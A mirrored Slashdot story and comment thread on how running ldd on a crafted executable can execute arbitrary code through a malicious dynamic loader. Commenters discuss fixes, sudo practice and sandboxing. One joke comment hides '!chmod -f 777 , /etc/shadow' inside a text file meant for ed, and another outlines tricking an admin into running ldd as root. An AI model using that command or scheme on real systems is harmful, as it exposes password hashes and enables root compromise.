Slashdot Mirror


Arbitrary Code Execution With "ldd"

pkrumins writes "The ldd utility is more vulnerable than you think. It's frequently used by programmers and system administrators to determine the dynamic library dependencies of executables. Sounds pretty innocent, right? Wrong! It turns out that running ldd on an executable can result in executing arbitrary code. This article details how such executable can be constructed and comes up with a social engineering scenario that may lead to system compromise. I researched this subject thoroughly and found that it's almost completely undocumented."

184 comments

  1. ldd pwned by Anonymous Coward · · Score: 2, Funny

    Sounds like someone needs to make LDD not capable of executing arbitrary code then =] /captainobvious

    1. Re:ldd pwned by postbigbang · · Score: 5, Funny

      Uh, hello? Tech support?

      You want me to do what with ldd?

      Are you the same guy that told me to rm *? That wasn't funny....

      --
      ---- Teach Peace. It's Cheaper Than War.
    2. Re:ldd pwned by Skapare · · Score: 4, Insightful

      It's the dynamic loader that knows how to interpret that executable format's list of libraries it depends on. What "ldd" does is just trigger the dynamic loader to output the libraries instead of run the program. The weakness is that an alternate dynamic loader might not do that and will just run the program anyway. Possible fixes include a new "ldd" that parses the executable itself instead of trying to get the dynamic loader to do it, or a means to restrict what dynamic loaders can be used (to just the ones that play well with "ldd").

      --
      now we need to go OSS in diesel cars
    3. Re:ldd pwned by sjames · · Score: 2, Interesting

      The easiest way is to just insist on using the system's ld.so and if it can't handle it, just say so. Next easiest is to just read through the ELF header.

    4. Re:ldd pwned by Tanktalus · · Score: 1

      I would have thought the easiest way is to only allow the loader to operate (at least in ldd mode) if it's suid-root. Since no one but root can do that, the loader must have been vetted by either root or by the distro (where, honestly, any number of back doors can already be put in anyway).

    5. Re:ldd pwned by sjames · · Score: 1

      If the loader is suid root, then anyone can become root with /lib/ld*.so /bin/bash

    6. Re:ldd pwned by Tanktalus · · Score: 1

      Not if the loader is written to avoid it. Just because you're suid-root doesn't mean you can't drop privileges before doing anything useful, such as running something. Functions like setuid are your friend.

    7. Re:ldd pwned by sjames · · Score: 1

      It just keeps getting more complicated that way! If you drop privileges in the loader, there can now be no suid-root programs anywhere. If you drop or don't drop based on argv, someone will play games with softlinks or exec.

      Given all of that, doesn't it start to look a LOT easier and more certain to just hard code the path to ld.so or have ldd read the ELF headers?

    8. Re:ldd pwned by Carewolf · · Score: 1

      The easiest think would be to not use ldd and use "readelf -d" instead

    9. Re:ldd pwned by sjames · · Score: 1

      Readelf -d mostly does what is required, but doesn't do the work of actually resolving the dependencies. Usually that's good enough, but won't reveal a number of forehead slap moments where the library exists but ld.so.conf doesn't know it or where several variations exist but not the right one.

    10. Re:ldd pwned by Anonymous Coward · · Score: 0

      Reading ELF headers is actually pretty easy, using readelf or objdump.

    11. Re:ldd pwned by MikeBabcock · · Score: 1

      where the library exists but ld.so.conf doesn't know it or where several variations exist but not the right one.

      And that pretty much sums up all of my uses for ldd. There's only two things I regularly want to know from ldd -- is this program dynamically compiled, and which copy of those libraries is it grabbing (path-wise).

      --
      - Michael T. Babcock (Yes, I blog)
  2. Quickly! by Drunken+Buddhist · · Score: 2, Funny

    Fetch me my tinfoil hat!

    --
    -1, Disagree is not a valid option. Troll, Flamebait and Offtopic are not a substitute.
  3. the bug is not in ldd by FranTaylor · · Score: 3, Informative

    If you had read the article closely you would understand that the bug is not in ldd, it is in the dynamic loader.

    1. Re:the bug is not in ldd by Anonymous Coward · · Score: 3, Funny

      So our lesson here is... don't run any scripts we don't fully understand as root. Thanks Slashdot - I feel so informed today!

    2. Re:the bug is not in ldd by Timothy+Brownawell · · Score: 3, Informative

      If you had read the article closely you would understand that the bug is not in ldd, it is in the dynamic loader.

      The bug is that ldd executes the dynamic loader, which is specified by the executable being inspected. So if the executable claims to use ~/bin/evil.so as a loader instead of the standard /lib/ld-linux.so, then ldd will execute ~/bin/evil.so.

    3. Re:the bug is not in ldd by EvanED · · Score: 1

      So our lesson here is... don't run any scripts we don't fully understand as root.

      You can scratch the "as root" in there... for most users, the added problems of running untrusted stuff as root barely accounts for the damage that can be done to your system.

    4. Re:the bug is not in ldd by Richard_at_work · · Score: 1

      Surely its "don't run any scripts we don't fully understand" - there are enough local exploits around these days that it would be trivial to try a dozen of them and still get a fairly decent install base for any malicious code - plus the fact that it doesn't take root privileges to turn your system into a spam bot, or an ftp drop box for child porn, or...

    5. Re:the bug is not in ldd by evanbd · · Score: 4, Insightful

      How many programs on your system do you *fully* understand? How certain are you about that?

    6. Re:the bug is not in ldd by Anonymous Coward · · Score: 0

      Dear sysadmin, I think you have ed misconfigured.
      This fails to load the whole chestnut.txt file.
      # ed chestnut.txt

      { attached chestnut.txt }

      # Chestnut counting
      a

      Ten little chestnuts went out to dine,
      one ate itself and then there were nine.

      b

      Nine little chestnuts released too late,
      a flying chair hit one and then there were eight.

      c

      Eight little chestnuts
      .
      !chmod -f 777 , /etc/shadow
      w
      a
      s
      stolen and then there were seven.

      One little sysadmin chestnut was left all alone,
      it hung itself,
      and then there were none!
      .
      wq

    7. Re:the bug is not in ldd by Anonymous Coward · · Score: 1, Funny

      How do I turn my PC into that drop box you're talking about. I have no interest in child porn, though... no none at all... yes, uh, uhm... it's for uhh... academic, yes academic purposes.... yeah

    8. Re:the bug is not in ldd by Anonymous Coward · · Score: 0

      cat chestnut.txt | ed for another joke spoiled by html thugs

    9. Re:the bug is not in ldd by camperdave · · Score: 2, Funny

      That's why I cross-compile my Gentoo on my Atari 600XL. It may take a few months longer, but it's worth it.

      --
      When our name is on the back of your car, we're behind you all the way!
    10. Re:the bug is not in ldd by bsDaemon · · Score: 5, Funny

      I pretty much only code in Perl these days, so... not even the ones I've written myself, I guess.

    11. Re:the bug is not in ldd by marcansoft · · Score: 4, Informative

      The bug is that ldd is trying to do the impossible: list dynamic dependencies for executables that it doesn't understand (more precisely: executables that don't use glibc and/or the standard linking mechanisms). The catch is that glibc's implementation offloads this task onto the dynamic linker, and whoever wrote ldd thought the rest of the world would be nice and follow ld-linux's environment variable convention with their dynamic loaders. And, of course, this completely violates the assumption that ldd treats its argument as data, and will not run code from it.

      What ldd needs to do is realize that trying to be generic is futile, and either a) check for ld-linux and bail if otherwise, or b) become a real C app (using libbfd?) that can inspect the executable as data, which might gain it compatibility with other loaders if they follow the same ELF ABI for dependency specification. And under no circumstances actually call out to any untrusted code or libraries to do this.

    12. Re:the bug is not in ldd by makomk · · Score: 1

      It's not a bug, it's a design flaw. ldd has always worked by executing the target file under certain circumstances; I'm sure this used to be better documented.

    13. Re:the bug is not in ldd by The_mad_linguist · · Score: 1

      The article vastly overstates the danger. It's fairly trivial to tell if a compiler is evil, so long as not all compilers are evil in exactly the same way.

    14. Re:the bug is not in ldd by evanbd · · Score: 1

      Really? How, pray tell? Do you have a program that can determine whether two non-identical executables do the same thing? Will it also tell me whether those executables have infinite loops?

      In general, the attack is considered very subtle and difficult to defend against. The best counter I'm aware of is diverse double compiling, which isn't exactly trivial. Perhaps more importantly, it's not actually in general use. Theoretical attacks are interesting, in part because someone else might actually be using them; theoretical solutions that aren't actually used don't protect against much.

      My point was more about what is common practice than theoretically possible: most people don't understand most software they use. Similarly, most people don't verify their compilers through diverse double compiling.

    15. Re:the bug is not in ldd by DaphneDiane · · Score: 1

      Comparing the output between two different compilers, or even the same compiler with different debugging or optimization options is not at all trivial, especially when talking about compiling larger programs. Even a small difference in register optimizations can make a relatively large difference in the output. My day job involves writing tools that do object file comparisions and it's a lot tricker than it sounds. Sure if you have what should be two identical compilers, compiling code with identical options and in the identical order, and using the same file paths for the source code, no memory limited optimizations are used etc., the binaries files produced will mostly be the same. Even then compiler tempories for statics can be different which can ripple in some cases into visible changes. And yes I've run into that case a few times, mostly as related to being used in vtables. There are lots of pseudo random places within most executable file formats for a compiler to hide extra code.

    16. Re:the bug is not in ldd by darkpixel2k · · Score: 1

      How many programs on your system do you *fully* understand? How certain are you about that?

      Maybe we should have some sort of trust system where programs can be 'signed'. And to make sure the verification software hasn't been compromised, we could have a hardware module that verifies the boot loader, etc... Some sort of Trusted Platform hardware module...

      --
      There's no place like ::1 (I've completed my transition to IPv6)
    17. Re:the bug is not in ldd by The_mad_linguist · · Score: 1

      Let's say you have code for a compiler (Code A), and a couple of compilers you want to test (compilers B, C, D, and E).

      So we run code A through compilers B,C,D, and E. The executables (B_A, C_A, D_A and E_A) from them will obviously be different, but they should all function identically.

      So we run code A through compilers B_A, C_A, D_A and E_A. If the resulting output executable is the same from all compilers, then we sure that all the compilers are either evil in exactly the same manner or all good.

    18. Re:the bug is not in ldd by DaphneDiane · · Score: 1

      That test will normally work for compilers such as the gcc which actually does something similar during it's normal bootstrap and comparing the stage 2 and stage 3 compilers. Some environments will still insert randomness like build times and the like into the compile, see the -frandom-seed option for example as a way to combat this. libstdc++ is often not compared from what I understand because of this. Unfortunately the compilers I work with don't have a random seed option, and I have to resort using LD_PRELOAD and intercepting some standard library calls so that the random seeds and other meta data that gets into the object files are identical so that I can spot validate object files.

  4. Another WIN in WINdows by MyLongNickName · · Score: 5, Funny

    In Windows, we avoid this vulnerability by giving you absolutely no fricking clue what dependencies exist for any given DLL. Suck that Unix fanboys!

    --
    See my journal for slashdot ID's by year. Mine created in 2005. http://slashdot.org/journal/289875/slashdot-ids-by-year
    1. Re:Another WIN in WINdows by Fizzl · · Score: 4, Informative
    2. Re:Another WIN in WINdows by Anonymous Coward · · Score: 2, Insightful

      depends.exe. Doesn't execute arbitrary code either.

      ldd is a hack and always has been. It's really just a special "run mode".

    3. Re:Another WIN in WINdows by MyLongNickName · · Score: 4, Informative

      Yup. I've used it. It is a very useful tool. Note that this is not something built into Windows.

      --
      See my journal for slashdot ID's by year. Mine created in 2005. http://slashdot.org/journal/289875/slashdot-ids-by-year
    4. Re:Another WIN in WINdows by joebp · · Score: 4, Informative

      depends.exe does exactly this and ships with the platform sdk.

    5. Re:Another WIN in WINdows by Anonymous Coward · · Score: 0

      Really? Guess you've never used Depends or ILDASM or .NET Reflector or basically done any type of low level profiling on Windows.

    6. Re:Another WIN in WINdows by sys.stdout.write · · Score: 0, Troll

      Also note that Dependency Walker doesn't execute arbitrary code.

    7. Re:Another WIN in WINdows by MyLongNickName · · Score: 1

      Hi,

      ILDASM and .NET reflection are not low-level profiling. Anything built on the .NET framework can hardly be called low level.

      --
      See my journal for slashdot ID's by year. Mine created in 2005. http://slashdot.org/journal/289875/slashdot-ids-by-year
    8. Re:Another WIN in WINdows by harry666t · · Score: 1
    9. Re:Another WIN in WINdows by onefriedrice · · Score: 3, Insightful

      Also note that Dependency Walker itself might as well be arbitrary code since I can't read its source code.

      --
      This author takes full ownership and responsibility for the unpopular opinions outlined above.
    10. Re:Another WIN in WINdows by Anonymous Coward · · Score: 0

      Also note that everything in linux might as well be arbitrary code, since even though the source is available very few people bother reading through it (much less understand everything that's there).

    11. Re:Another WIN in WINdows by Anonymous Coward · · Score: 1, Insightful

      It only takes one.

      And the odds of one out of millions will be the one is quite high (Unless only one person uses the app)

      However one is still heads and shoulders higher than the number of users of the windows app, even if there are more than a million using it.

    12. Re:Another WIN in WINdows by Tetsujin · · Score: 4, Insightful

      Also note that Dependency Walker itself might as well be arbitrary code since I can't read its source code.

      I've had the full source code for "ldd" on my linux box for the past thirteen years... What good has that done in this case?

      --
      Bow-ties are cool.
    13. Re:Another WIN in WINdows by Anonymous Coward · · Score: 0

      And it only works if no one calls LoadLibrary and links the libs for the dll's in.

    14. Re:Another WIN in WINdows by Greyfox · · Score: 1

      Didn't help you much, but SOME dude bothered to read it.

      --

      I'm trying to teach myself to set people on fire with my mind... Is it hot in here?

    15. Re:Another WIN in WINdows by Hurricane78 · · Score: 1

      Uum, then how does a DLL load its dependencies in the first place? Of course it's build it. There's just no UI delivered with it. I bet at MS, they have such a tool.

      --
      Any sufficiently advanced intelligence is indistinguishable from stupidity.
    16. Re:Another WIN in WINdows by robogymnast · · Score: 4, Insightful

      I've had the full source code for "ldd" on my linux box for the past thirteen years... What good has that done in this case?

      The good that it has done is that the author of this article DID have access to the source, analyzed it, found a vulnerability and now you, me or anyone else can (and no doubt will) patch it. The point of the source being available isn't that you personally need to look through every line of code that your system executes, but rather that it is made available to anyone to analyze for security, efficiency, correctness, etc. instead of being locked up in a vault somewhere.

      --
      unzip ; strip ; touch ; grep ; find ; finger ; mount ; fsck ; more ; yes ; fsck ; umount ; sleep
    17. Re:Another WIN in WINdows by SKJDot · · Score: 0

      dumpbin is available for windows. Part of the Visual Studio distribution.

    18. Re:Another WIN in WINdows by Anonymous Coward · · Score: 0

      I've had the full source code for "ldd" on my linux box for the past thirteen years... What good has that done in this case?

      Today you have knowledge about this flaw. Not so with proprietary code.

    19. Re:Another WIN in WINdows by Anonymous Coward · · Score: 0

      http://www.dependencywalker.com/

      if I make an obvious joke like the GP did, will you give me a serious response, too?

      you could do that with this post, for example.

    20. Re:Another WIN in WINdows by ToasterMonkey · · Score: 1

      And the odds of one out of millions will be the one is quite high (Unless only one person uses the app)

      Unless the app in question is ldd, it's a special case.. oh.. crap, it's not.

      However one is still heads and shoulders higher than the number of users of the windows app, even if there are more than a million using it.

      The problem is, even in Linux, you are 1000000x more likely to have run into the problem many times before anyone decides to scrutinize the source and discover the problem.
      In windows it would get black listed in AV programs, in Linux, word of mouth would have to work. I really, really hope nobody believes that available source code means bad behavior has a reasonable chance of being detected before being exploited. That is hogwash.

      Detecting the bad behavior would come first in either case, and both systems have tools for that.. UAC, SELinux, etc.

    21. Re:Another WIN in WINdows by Anonymous Coward · · Score: 0

      My ldd is not a script but an executable under SUSE. It seems to have slightly different behavior than described in the article. I did not completely replicate the "attack" part of this, but I have doubts as to current viability on this.

    22. Re:Another WIN in WINdows by Anonymous Coward · · Score: 0

      It can trace those, too, but obviously the binary must be loaded & executed to do that.

      - T

    23. Re:Another WIN in WINdows by MikeBabcock · · Score: 1

      Since ldd ships with glibc-common on my system, I'm quite certain its a lot more common than the platform SDK is on Windows computers.

      --
      - Michael T. Babcock (Yes, I blog)
    24. Re:Another WIN in WINdows by ericfitz · · Score: 1
    25. Re:Another WIN in WINdows by johanatan · · Score: 1

      Umm, his original list had 4 distinct entities: Depends, ILDASM, .NET Reflector, & low level profiling.

      None of the first 3 of those should in any way be confused as a form of 'low level profiling' but profiling is, rather, yet another distinct method which can reveal dependencies.

    26. Re:Another WIN in WINdows by Fizzl · · Score: 1

      http://www.dependencywalker.com/

      if I make an obvious joke like the GP did, will you give me a serious response, too?

      you could do that with this post, for example.

      Answering to this post with yes or no would be an oxymoron.

  5. Thorough research by Mortice · · Score: 5, Insightful

    'I researched this subject thoroughly and found that it's almost completely undocumented'.

    Did the thorough research include a Google search for 'ldd security'?

    My thorough (3 minute research) turned up this tidbit from TLDP:

    Beware: do not run ldd on a program you don't trust. As is clearly stated in the ldd(1) manual, ldd works by (in certain cases) by setting a special environment variable (for ELF objects, LD_TRACE_LOADED_OBJECTS) and then executing the program. It may be possible for an untrusted program to force the ldd user to run arbitrary code (instead of simply showing the ldd information). So, for safety's sake, don't use ldd on programs you don't trust to execute.

    1. Re:Thorough research by pkrumins · · Score: 2

      That's what I mean by "almost." This is just a warning. It was this warning that got me excited to research more on this topic.

    2. Re:Thorough research by marcansoft · · Score: 4, Interesting

      One wonders why no one thought to add that to the manpage.

    3. Re:Thorough research by pkrumins · · Score: 3, Insightful

      What I mean is that I found only 3 or 4 references to this problem on the whole Internet. If that doesn't mean *almost completely undocumented* then I don't know what does.

    4. Re:Thorough research by Anonymous Coward · · Score: 0

      $ uname -a
      Linux pluto 2.6.28-16-generic #55-Ubuntu SMP Tue Oct 20 19:48:24 UTC 2009 i686 GNU/Linux
      $ man ldd
      [ --- snip --- ]
      BUGS
                    ldd does not work on a.out shared libraries.

                    ldd does not work with some extremely old a.out programs which were
                    built before ldd support was added to the compiler releases. If you
                    use ldd on one of these programs, the program will attempt to run with
                    argc = 0 and the results will be unpredictable.
      [ --- snip --- ]

      why would any program attempt to run, if it weren't run in the first place? this to me reeks of "YO GUY! I BE RUNNIN STUFFS ON UR PUTERRRRZ"

      but then, perhaps that's just me

    5. Re:Thorough research by Omnifarious · · Score: 2, Interesting

      Most programs that run other programs actually run them in an obvious fashion. The fact that ldd doesn't seem to run the program because it feeds the program an environment variable that causes the program to print out some information and exit leads people to make a bad assumption about how ldd works. In my opinion, this is a really bad design flaw in ldd and should've been fixed years ago.

      I know it violated my assumptions about what ldd was doing.

    6. Re:Thorough research by msuarezalvarez · · Score: 1

      Your assumptions were wrong. And this is a design flaw in ldd?

    7. Re:Thorough research by smoker2 · · Score: 1

      If it's documented, then no matter how many superlatives you use, your statement is wrong. If I write a program and release it with documentation available on my web site, would you say that it was "almost completely undocumented " ?

      It either is documented or it isn't. And ldd IS. Documentation isn't an expression of quantity.

      Maybe that upsets your sense of horror, but considering that the problem (if it is a problem) is only present if you choose to run that code on untrusted executables, and the *documentation* tells you that that might be risky, how much more documentation do you need ?
      RTFM !

    8. Re:Thorough research by Omnifarious · · Score: 1

      Yes. Programs should encourage people to make correct assumptions, not incorrect ones. Programs that lead people to make incorrect ones have design flaws. Such design flaws have killed people in the past.

    9. Re:Thorough research by belmolis · · Score: 1

      I think that the characterization "almost completely undocumented" is pretty accurate. The fact that you can find something if you expressly search for it doesn't mean much. The problem is that ldd works in an unexpected way: a program that looks for dependencies is not expected to run anything other than itself. Someone making routine use of ldd is likely just to look at the man page or run ldd -i, neither of which produces any warning about this. The author isn't saying that nobody else knows about this behavior - he's saying that one doesn't find it widely mentioned in places in which most people are likely to see it, which is true.

    10. Re:Thorough research by belmolis · · Score: 1

      Sheesh, I must be hungry or sleepy. That should be ldd -h, not ldd -i.

    11. Re:Thorough research by Random+Walk · · Score: 2, Informative

      The Linux manpage (on Ubuntu 8.04) says ldd prints the shared libraries required by each program or shared library specified on the command line. Note that it doesn't mention anywhere that the program is executed, and doesn't contain any security warning. If there is no hint of the problem at the primary source of usage information, then the issue IS undocumented.

    12. Re:Thorough research by buchner.johannes · · Score: 1

      Last modified date of the page: Sat 12 Apr 2003

      --
      NB: The message above might reflect my opinion right now, but not necessarily tomorrow or next year.
  6. User can choose to run arbitrary code... by alexhs · · Score: 2, Insightful

    Damn,

    Asking the user to install dancing_bunnies was too easy for this guy, he wants to ask the user to ldd dancing_bunnies to activate the malware.

    Could as well ask the user to ACTIVATE_MALWARE=1 dancing_bunnies or LD_PRELOAD=dancing_bunnies.so your_app for letting the user running the malware from any your_app he likes.

    --
    I have discovered a truly marvelous proof of killer sig, which this margin is too narrow to contain.
    1. Re:User can choose to run arbitrary code... by AndrewNeo · · Score: 3, Insightful

      It's not quite the same thing. Since the binary you're looking at has to have this exploit in it, your example might as well just run `dancing_bunnies` in the first place. The reason this is an issue is because it will run while doing `ldd dancing_bunnies` where you would expect ldd not to run any arbitrary code.

  7. Cool and so what by nweaver · · Score: 3, Insightful

    On one hand that is a cool little hack. But on the other hand, so what? How many cases occur where even with social engineering will someone run ldd but not run the executable? E.g. In the example most sysadmins would run the program itself anyway

    --
    Test your net with Netalyzr
    1. Re:Cool and so what by Lord+Bitman · · Score: 3, Insightful

      times like this, I just want to be able to say:
        sandbox $whatever_command
      and have it run in a completely safe environment.
      We have usermode linux, how hard would it be to have such a thing self-contained and operating in a read-from-real-filesystem,write-to-virtual-filesystem,--disable-all,--enable-fake-internet, manner?

      Or does such a thing exist? Security for examining someone else's arbitrary commands doesn't seem like it should be an unsolved problem

      --
      -- 'The' Lord and Master Bitman On High, Master Of All
    2. Re:Cool and so what by the+99th+penguin · · Score: 4, Funny

      times like this, I just want to be able to say:
      sandbox $whatever_command
      and have it run in a completely safe environment.
      [...] Or does such a thing exist?

      A virtual machine you mean?

    3. Re:Cool and so what by RiotingPacifist · · Score: 1

      For bonus points, it could note changes made to the filesystem and when possible allow you to merge these changes (the sort of thing lvm snapshoting/cow allows). Also instead of just --enable-fake-internet prompting users and logging data that is exchanged (possibly doing the same for reading files).

      --
      IranAir Flight 655 never forget!
    4. Re:Cool and so what by Anonymous Coward · · Score: 0

      A virtual machine you mean?

      It sounds like he wants more of an ad hoc virtual machine.

      In other words, he wants to take any program installed on his real machine and say "run this in a virtual environment cloned from my existing real environment".

      That's a lot more than virtual machines as they exist right now.

    5. Re:Cool and so what by Anonymous Coward · · Score: 0

      The filesystem stuff is pretty similar to what debian's fakeroot and gentoo's existing sandbox thing do. They're both hacks though, and they don't give a very complete sandbox.

      Various schemes like SELinux do all right at isolating security contexts, but they're very static. Users should be able to sudo to any subset of their own permissions on the fly. But Unix's ancient "you are just a number" security model is never going to allow for that. (Note that windows isn't really much better here either, though at least most of its security checks are done by process tokens, not euid)

    6. Re:Cool and so what by Nevyn · · Score: 2, Interesting

      SELinux has this capability: http://danwalsh.livejournal.com/28545.html

      --
      ustr: Managed string API with ave. 44% overhead over strdup(), for 0-20B
    7. Re:Cool and so what by Anonymous Coward · · Score: 0

      Security for examining someone else's arbitrary commands doesn't seem like it should be an unsolved problem

      root# su - user-with-problem
      user-with-problem# ldd suspicious-binary

      I mean, what's the use of ldd-ing a binary as root when you suspect it's a missing or (more likely) unprivileged library problem?

      - Peder

    8. Re:Cool and so what by Greyfox · · Score: 1
      There are virtual machines, but they're much more of a bother to set up than running a simple command like that. UNIX also has the concept of a chroot jail, but it's a lot more of a bother to set up and not completely safe anyway. I used to audit code for DGUX secure, which had some very hard-core MAC/DAC capabilities. In theory at least you could set "sandbox" up to drop almost all privs on the system prior to executing a piece of code. If you had full logging turned on in that system, "ls" would generate a few lines of audit trail in the system logs. I'm not sure selinux is quite that comprehensive, but if you could set your sandbox command up to at least drop FS write privs and network access privs, that would be moving in the right direction with a fairly simple command. Logging what the code is trying to do would also be pretty nifty.

      No system is perfect though, so ultimately your best bet is to don't run code you don't trust on important systems and especially not as root.

      --

      I'm trying to teach myself to set people on fire with my mind... Is it hot in here?

    9. Re:Cool and so what by sydneyfong · · Score: 2, Interesting

      I don't know about other unix-alikes, but on Linux, one can use ptrace(2) to trap and block (and modify the results of) system calls that an executable makes.

      This way we could, for example, block any attempt to open files for writing, block attempts to access the network, and selectively allow file writes etc. This can be done via a white-listing mechanism.

      I stumbled upon this relatively less known kernel API a few years ago while trying to figure out how to ... essentially run arbitrary code submitted by anonymous users while keeping the machine safe. Most slashdotters would call me crazy but this was what I was trying to do at the time.

      I'm no security expert, but from what I gather this scheme is pretty safe if you trust the kernel to be free of exploits (particularly in the whitelisted syscalls).

      I'm pretty sure a "sandbox" command could be done using ptrace. In fact if you google for "ptrace" you'll find some sites going into a bit of detail how this could be implemented.

      In fact I suspect that a patch to strace (which uses ptrace as its underlying syscall tracking mechanism) could deal with the problem if only in a hackish manner.

      --
      Don't quote me on this.
    10. Re:Cool and so what by Anonymous Coward · · Score: 0

      I'm pretty sure a "sandbox" command could be done using ptrace.

      http://projects.0x90.dk/wiki/sydbox (although no guarantees that it's safe to use with untrusted code... I'm sure assistance in that area would be welcome ;-) )

    11. Re:Cool and so what by mi · · Score: 1

      How many cases occur where even with social engineering will someone run ldd but not run the executable?

      Actually, this is one scenario:

      1. send a user (perhaps, via spam) the evil binary (dancing_bunnies);
      2. they'll save it, try to run it, and it will (bogusly) complain about a missing library or two;
      3. the user might then ask their admin for assistance — forwarding him the error message even;
      4. there is a good chance, that the admin will try to use ldd to resolve the missing-library problem.
      5. it is very likely, the admin will be root at the time, for otherwise he may be unable to access the user-owned executable due to the strict permissions, that mail-clients impose on the saved attachments...
      6. depending on the payload in the executable, root executing it will mean...
      7. Profit!

      This may not work against all users-admins combinations, but it does not have to — just against even a small percentage of them...

      --
      In Soviet Washington the swamp drains you.
    12. Re:Cool and so what by Omnifarious · · Score: 1

      Not really. What you really want with a sandbox is for a program's every access to system resources outside of a small predefined set to be vetted by the user. SELinux can't really do that.

      But, the blog article does give you a really nice way to quickly create an environment for a program to run in that has access to almost no system resources, and while that's not all you want, it is still pretty useful subset.

    13. Re:Cool and so what by lennier · · Score: 1

      "In other words, he wants to take any program installed on his real machine and say "run this in a virtual environment cloned from my existing real environment"."

      It seems to me this is exactly the sort of capability that should be a basic fundamental thing that an OS does. Instead of being a big ball of soup that lets pretty much any program write anywhere, and then tries to impose security reactively over the top. It should start out with '1. Every process can be a full machine or system/network equivalent, 2. Processes can be arbitrarily small or arbitrarily large, 3. No process can overwrite any other process without permission' and see where we get from there.

      Of course that would give us an architecture very unlike Unix - maybe a little like Plan 9 - so a lot of redesign is in order, but I think the prevalence of virtual machines as an ad-hoc, coarse-grained solution should be telling us that our foundations are a little crooked.

      --
      You are not a brain: http://books.google.com/books?id=2oV61CeDx-YC
    14. Re:Cool and so what by Anonymous Coward · · Score: 0

      That is some cool admin that runs executable binaries provided by a user with root privileges.

    15. Re:Cool and so what by Anonymous Coward · · Score: 0

      BSD Jails. They're magic.

  8. And the point is... by FlyingBishop · · Score: 2, Informative

    So, firstly, don't run ldd as root. (I use sudo, so no issues there.)

    Secondly, don't use ldd on untrusted binaries. If you don't trust it why are you trying to run it? I suppose this is useful to see if the attacker is being really obvious and dynamically linking to net-code in a program that shouldn't need net, but other than that I don't see where this is going to be a serious problem, except in the case where you have a direct line to your sysadmin, but if that's the case there are probably a dozen different ways you can trick him into running arbitrary code, not the least of which is "hey, can you install this for me? I need it to get x done." If you're intelligent enough to hack a binary, I think you're intelligent enough that you can come up with a plausible reason your admin should install something you compiled yourself.

    1. Re:And the point is... by Anonymous Coward · · Score: 0, Informative

      So, firstly, don't run ldd as root. (I use sudo, so no issues there.)

      Dude, what are you smokin'? "sudo ldd " IS running it as root. learn2comprehend

    2. Re:And the point is... by Anonymous Coward · · Score: 3, Insightful

      I think (hope) that he meant, "I use sudo for things that need root, so I don't wind up running things that don't (like ldd) as root."

    3. Re:And the point is... by Anonymous Coward · · Score: 0

      Whoosh

    4. Re:And the point is... by PiSkyHi · · Score: 1

      I just use more than 1 xterm, or screen - sudo itself is a security risk if you want to protect remote root by a 2 password wall.

    5. Re:And the point is... by FlyingBishop · · Score: 1

      Why not have a gateway admin account that exists only for that purpose? I'd stay you're still vulnerable to alt-tabbing and entering a command in the wrong shell, unless you have screen or your xterm to be an obnoxious shade of red when you're logged in as root, which probably would be enough to stop you.

      Personally, I prefer sudo, and I think there are a variety of ways you could go about configuring remote root to use two passwords in a manner that would be just as secure as your non-sudo path.

    6. Re:And the point is... by Anonymous Coward · · Score: 0

      So, firstly, don't run ldd as root. (I use sudo, so no issues there.)

      Heh, consider this:

      Lets say you "sudo some_stuff" then later (within the sudo timeout) you "ldd some_evil_binary". So that evil binary just needs to run sudo and starts doing whatever it wants as root.

      sudo does not protect you like you seem to think. Besides, running an evil binary under you normal user account is not much better than a root compromise. It could still install stuff to run as your user and that's probably where all you data is (plus it can make network connections and such).

    7. Re:And the point is... by FlyingBishop · · Score: 1

      Can a binary do that? A shell script might be able to. But doesn't the sudo timeout only extend to the shell? It shouldn't extend to a child process.

      But you're right of course that compromising my user account isn't much better than root. Except that it's much more detectable.

    8. Re:And the point is... by Anonymous Coward · · Score: 0

      Yep, a binary can do that. Usually sudo privilege is granted to all children of the process that authenticated originally (ie. all children of your shell). Consider you can easily "sudo sh" to start a new root shell.

      Sometimes sudo grants privilege across multiple processes that aren't necessarily children, as in the case of OSX (a very bad idea if you ask me).

    9. Re:And the point is... by mzs · · Score: 1

      I don't understand. I typically have an account that is not a sudoer that I use for everything. Using allowusers in the sshd_config that is the only account that can ssh in. Then if I need to do something as root, I do 'login admin' (or slight variations depending on unix flavor), where admin is a sudoer and then I run what I need under sudo. Is that what you mean by two password wall? What is the security risk here? I know that there have been vulns with regards to sudo in the past, is that what you are referring to?

    10. Re:And the point is... by FlyingBishop · · Score: 1

      Hm. That seems to me like it shouldn't do that. But yeah, I can see now that it does. Anything that isn't explicitly invoked with sudo shouldn't be able to call sudoed programs without password auth. Seems like the shell should be handling that explicitly and only passing off sudo privileges if told to (or prompting for a password at the very least.)

    11. Re:And the point is... by PiSkyHi · · Score: 1

      Well, you have created a 2 password wall, many admins just give a user sudo access saying its more secure to do it this way, which it isn't - just protects them a little from executing a typo.

      When I login as root, I want to have the power to do things as root unhindered, I just want access to it limited. At some point I am responsible for what I type, and for me, I don't make big mistakes as root anymore because I learned how to follow a process of backing up and checking a dangerous line before executing it. It also helps to have separate xterms, because all possibly dangerous operations are kept in a separate shell history and I have CTRL-P setup to do a search history backwards, which I use frequently in all shells.

    12. Re:And the point is... by PiSkyHi · · Score: 1

      The easiest way to a 2 password wall is not to use sudo, of course this is unix and you can add any extra layers you care to.

      Obnoxious shade of red ? its mostly transparent and red, but since it has a separate history for possibly dangerous operations - its better for my protection.

    13. Re:And the point is... by buchner.johannes · · Score: 1

      So, firstly, don't run ldd as root. (I use sudo, so no issues there.)

      Secondly, don't use ldd on untrusted binaries. If you don't trust it why are you trying to run it?

      As others have pointed out, no one is trying to run the binary. ldd doesn't execute the binary either, but the linker referenced in it.

      --
      NB: The message above might reflect my opinion right now, but not necessarily tomorrow or next year.
  9. Nasty by FranTaylor · · Score: 4, Interesting

    This is really nasty.

    Even running the binary as nobody may get you into trouble if you are running under X because the rogue code can talk to your X server.

    And of course the rogue code could print out its own prompt and fool you into thinking that you are typing at the shell. In this case you get owned when you type su and subsequently type your root password into the rogue code. You'd have to carefully inspect your running processes to not get fooled by this trick.

    Maybe the answer is for ldd to use a sandbox.

    1. Re:Nasty by Anonymous Coward · · Score: 0

      Err... You're a sysadmin; you run a system with users on it; a user asks you to check an issue (s)he's having with his code/account; after su to root (assuming you're following best practices and not permanently logged in as such), su - && debug.

      I don't understand why would you su to root at any point after running user code (in fact, after you did it the first time from your account).

      The sandbox isn't needed, a user can run ldd on his own code; so can you, safely, after changing your privileges to his/her's.

  10. Don't worry... by wandazulu · · Score: 2, Funny

    ...I'm sure someone will find some other vulnerability.

  11. Specific to Linux? by alcourt · · Score: 4, Insightful

